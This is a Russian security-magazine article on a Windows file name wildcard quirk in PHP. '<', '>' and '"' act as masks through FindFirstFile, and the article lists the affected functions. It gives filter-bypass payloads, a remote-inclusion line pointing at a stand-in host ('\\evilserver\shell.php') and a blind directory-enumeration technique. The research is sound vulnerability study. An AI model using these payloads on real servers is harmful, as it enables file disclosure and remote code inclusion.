Содержание статьи
Все развивается. На смену одних методов приходят другие, продвинутые трюки быстро перестают работать, а сверхновые идеи становятся популярным старьем. Особенно эта динамика чувствуется в области безопасности веб-приложений, где царит мир php-скриптов...
Какой-нибудь год назад все просто с ума сходили от Error-based MySQL, а unserialize казался чем-то сложным и не встречающимся в реальной жизни. Теперь это уже классические техники. Что уж говорить о таких динозаврах как нуль-байт в инклудах, на смену которому пришел file name truncated. Исследователи постоянно что-то раскапывают, придумывают, а тем временем уже выходят новые версии интерпретаторов, движков, а с ними – новые баги разработчиков.
По сути, есть три метода найти уязвимость: смекалка (когда исследователь придумывает какой-нибудь трюк и проверяет, работает ли он на практике), анализ исходного кода и фаззинг. Об одном интересном китайском фаззинге и его развитии с моей стороны я хочу тебе рассказать.
Fuzzing — это не только ценный мех...
Началось все с того, что Гугл распорядился выдачей уже не помню на какой запрос и показал сайт на китайском языке: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese, где было собрано множество интересных находок китайских фаззеров. Интересно, что в списке были совсем свежие находки, которые толькотолько публиковались в статьях. Среди них нашелся и привлекший мое внимание код следующего содержания:
<?php
for($i=0;$i<255;$i++)
{
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp))
echo chr($i)."\r\n";
}
?>
Привлек он меня потому, что смысла я не понял, но разобрал в описании знакомые символы «win32» :). Переводить китайскую письменность было странным развлечением даже с помощью google.translate, поэтому я тупо скомпилил этот код под винду и посмотрел на результат. Каково же было мое удивление, когда обнаружилось, что у файла в винде существовали как минимум 4 имени: 1.phP, 1.php, 1.ph>, 1.ph<. Теперь уже китайская письменность не казалась мне такой далекой, и переводчик Гугла помог понять ее смысл. Собственно, в этом самом «смысле» не было ничего больше, чем описание кода и результата его работы.
Не то чтобы не густо — вообще никак! Такое положение дел меня не устраивало. До сих пор не понимаю этих китайцев — неужели им не интересно было понять, какие функции еще уязвимы, какие особенности у этого бага при эксплуатации, а конце концов, почему это вообще работает?
Требую продолжения банкета!
Первым делом я добавил второй итератор и запустил код с фаззингом уже по двум последним байтам. Результаты были непредсказуемы:
1.p<0 (нуль-байт на конце)
1.p< (пробел на конце)
1.p<"
1.p<.
1.p<<
1.p>>
1.p<>
1.p><
1.p<(p/P)
1.p>(p/P)
1.p(h/H)<
1.p(h/H)>
1.p(h/H)(p/P)
Отсюда явно проглядывались закономерности — на конце имени файла могли идти символы: точка, двойная кавычка, пробел, нуль-байт. Чтобы проверить эту догадку, я запустил следующий код:
<?php
if (file_get_contents("test.php".str_
repeat("\"",10).str_repeat(" ",10).str_
repeat(".",10))) echo 1337;
?>
Как нетрудно догадаться, он вернул 1337, то есть все работало так, как и было предсказано. Это само по себе было уже расширение по символам популярной уязвимости, альтернативы нуль-байту в инклудах. После продолжения издевательств над интерпретатором были найдены конструкции имени файла со слэшами на концах, которые тоже читались без проблем:
file\./.\.
file////.
file\\\.
file\\.//\/\/\/.
Думаю, здесь все ясно: если использовать слэши после имени файла, то на конце всегда должна стоять точка. При этом слэши можно миксовать, и между ними можно втыкать одну точку.
При всем при этом оставалось неясным главное — что скрывают символы < и >?
Великий и могучий WINAPI
Как мне быстро стало понятно, фаззингом природу этой ошибки не поймешь. Оставалось два варианта: смотреть сорцы или трассировать вызовы. Оба эти метода довольно быстро указали на одно и то же — вызов функции FindFirstFile. При этом в стеке вызов проходил уже с заменой символа > на ?, а < на *, двойная кавычка же заменялась на точку. Также очень весело было замечать, что, несмотря на замену, < не всегда работала как * в маске файла, а вот << всегда хорошо отрабатывала. При этом в стеке оба вызова были совершенно одинаковые, но давали разный результат (см. рисунок). Теперь стало полностью ясно, откуда растут ноги. И ноги действительно росли из Ж под именем MS.
Великий и могучий MSDN
Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx.
В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях...
Bug?!
The characters of '<' and '>' are treated like
wildcard by this function.
[MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
History
10/19/2007
xMartian
5/2/2008
Mark Amos — MSFT
То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием...
Без комментариев :). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file_get_contents:
0. Символы * и ? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются).
1. Символ < заменяется при вызове FindFirstFile на *, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно. Для гарантированной маски * следует использовать <<.
Пример:
include('shell<')
подключит файл shell*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
2. Символ > заменяется при вызове FindFirstFile на ?, то есть один любой символ. Пример: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
3. Символ " заменяется при вызове FindFirstFile на точку. Пример:
include('shell"php')
эквивалентно
include('shell.php')
4. Если первый символ в имени файла — точка, то прочитать файл можно по имени без учета этой точки. Пример: fopen("htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1, fopen("h<<"). Так как в имени файла вторая буква "а", то по алфавиту он, скорее всего, будет первым.
5. В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая.
Пример:
fopen("")
6. Можно использовать сетевые имена, начинающиеся с \\, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max_execution_time (смотри статью «Гюльчатай, открой личико» в ][ 04.2010). Также это позволяет обходить allow_url_fopen=Off и делать RFI.
Пример:
include('\\evilserver\shell.php')
7. Можно использовать расширенные имена, начинающиеся с \\.\, что дает возможность переключаться между дисками в имени файла.
Пример:
include('\\.\C:\my\file.php\..\..\..\D:\anotherfile.php')
8. Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей.
Пример:
file_get_contents('C:boot.ini')
эквивалентно
file_get_contents('C:/boot.ini')
9. Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв.
Цитата: «Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3. DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC».
Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file_get_contents('<<D763<<'), в которой вообще не содержится ни байта из настоящего имени файла! Как считаются эти четыре хекс-символа нигде не сказано, но они, кажется, зависят только от имени файла.
10. В PHP под окружением командной строки (не mod_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9.
Пример:
file_get_contents('C:/tmp/con.jpg')
будет бесконечно читать из устройства CON нуль-байты, ожидая EOF.
file_put_contents('C:/tmp/con.jpg',chr(0x07))
пискнет динамиком сервера (музыка :)).
Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет :).
Играем в считалочку
Поверить китайскому в подписи под фаззингом о том, что уязвимость касается только file_get_contents, я просто не мог, хотя бы потому, что немного помнил исходники PHP.
Недолго думая, я проверил все функции, которые вспомнил касательно работы с файлами. Результаты оказались более чем положительные.
Уязвимость присутствует в функциях:
fopen
file_get_contents
copy
parse_ini_file
readfile
file_put_contents
mkdir
tempnam
touch
move_uploaded_file
include(_once)
require(_once)
ZipArchive::open()
Не присутствует в:
rename
unlink
rmdir
Есть где разгуляться, не правда ли? Но это еще полбеды.
PoC: идеи использования
Очевидно, что данную уязвимость можно использовать для обхода всевозможных фильтров и ограничений. Например для файла .htaccess альтернативное имя будет h<< (см. п.4, п.1). Двухсимвольные файлы вообще можно читать без имени (см. п.9.). Ну и так далее. Есть и другое, не менее интересное применение — определение имен папок и файлов. Рассмотрим пример:
<?php
file_get_contents("/images/".$_GET['a'].".jpg");
?>
С помощью такого кода можно очень просто получить список директорий веб-сервера.
Посылаем запрос test.php?a=../a<%00 и получаем ответ вида
Warning: include(/images/../a<) [function.include]:
failed to open stream: Invalid argument in ...
или
Warning: include(/images/../a<) [function.include]:
failed to open stream: Permission denied ...
В первом случае сервер не нашел ни одной директории начинающейся с буквы «а» в корне, во втором — нашел. Далее можно запустить подбор второй буквы и так далее. Для ускорения можно воспользоваться фонетикой (см. статью «Быстрее, выше и снова быстрее. Революционные подходы к эксплуатации SQL-инъекций» в ][ 12.2009). Работает старая добрая техника эксплуатации слепых SQL-инъекций.
В ходе проведения опытов было замечено, что иногда сервер сразу выдает найденный путь в сообщении об ошибке. Тогда подбирать придется только в случае, если директории начинаются с одного и того же символа. От чего зависит вывод ошибки, я так и не успел разобраться и оставляю на суд общественности.
Лирическое отступление
Отрадно заметить, что репорт у китайцев нашел и Маг, который опубликовал ее в числе прочих в статье «Малоизвестные способы атак на web-приложения» (snipper.ru/view/18/maloizvestnye-sposoby-ataknaweb-prilozheniya) еще 19 апреля, но пояснения и акцента на этой уязвимости там не было, был только китайский пример, с которого я и начинал.
Links
- Документация функции FindFirstFile: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx;
- Спецификации по именам файлов (многие трюки почерпаны оттуда): msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx;
- Сведения о сокращенных именах файлов в Windows: technet.microsoft.com/en-us/library/cc722482.aspx;
- Мой блог (отвечаю на вопросы, пишу по мере сил): oxod.ru.